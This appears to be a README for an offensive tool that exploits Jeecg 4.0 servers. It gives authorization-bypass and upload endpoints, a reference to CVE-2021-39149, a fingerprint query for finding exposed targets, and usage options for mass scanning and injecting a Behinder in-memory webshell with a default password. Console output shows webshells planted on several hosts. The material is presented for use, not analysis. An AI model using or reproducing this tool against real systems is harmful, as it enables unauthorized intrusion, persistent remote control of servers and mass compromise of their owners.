https://ip:port/api/../xxxxxx
正常请求
绕过授权请求
https://ip:port/iconController.do?saveOrUpdateIcon
https://ip:port/plug-in/accordion/images/x.xxx
https://ip:port/cgformSqlController.do?doMigrateIn
https://x-stream.github.io/CVE-2021-39149.html
Title : Jeecg4.0 GetShell
Author : R4gd0ll
Usage : python3 jeecg_v4.0_getshell.py -h
-h --help 打开帮助
-u --url 对单个ip进行测试
-f --file 对文件中的所有ip进行测试
-m --msmurl 注入冰蝎内存马(默认连接密码reyebond,支持4.0,仅支持单独ip测试)
body="JEECG版权所有 v_4.0" || title="Jeecg 快速开发平台"
C:\jeecg>python3 jeecg_v4.0_getshell.py -h
-------------------------------------------------------------------------
Title : Jeecg4.0 GetShell
Author : R4gd0ll
Usage : python3 jeecg_v4.0_getshell.py -h
-h --help 打开帮助
-u --url 对单个ip进行测试
-f --file 对文件中的所有ip进行测试
-m --msmurl 注入冰蝎内存马(默认连接密码reyebond,支持4.0,仅支持单独ip测试)
-------------------------------------------------------------------------
C:\jeecg>python3 jeecg_v4.0_getshell.py -u https://127.0.0.1:8080/jeecg
[+] getshell success, webshell地址:https://127.0.0.1:8080/jeecg/plug-in/accordion/images/1.jsp
C:\jeecg>python3 jeecg_v4.0_getshell.py -m https://127.0.0.1:8080/jeecg/
Behinder msmshell success
C:\jeecg>python3 jeecg_v4.0_getshell.py -f 1.txt
[-] getshell fail
[-] getshell fail
[-] 访问出现错误!
[-] 访问出现错误!
[-] getshell fail
[+] getshell success, webshell地址:https://xxxxx/plug-in/accordion/images/1.jsp
[+] getshell success, webshell地址:https://xxxxx//plug-in/accordion/images/1.jsp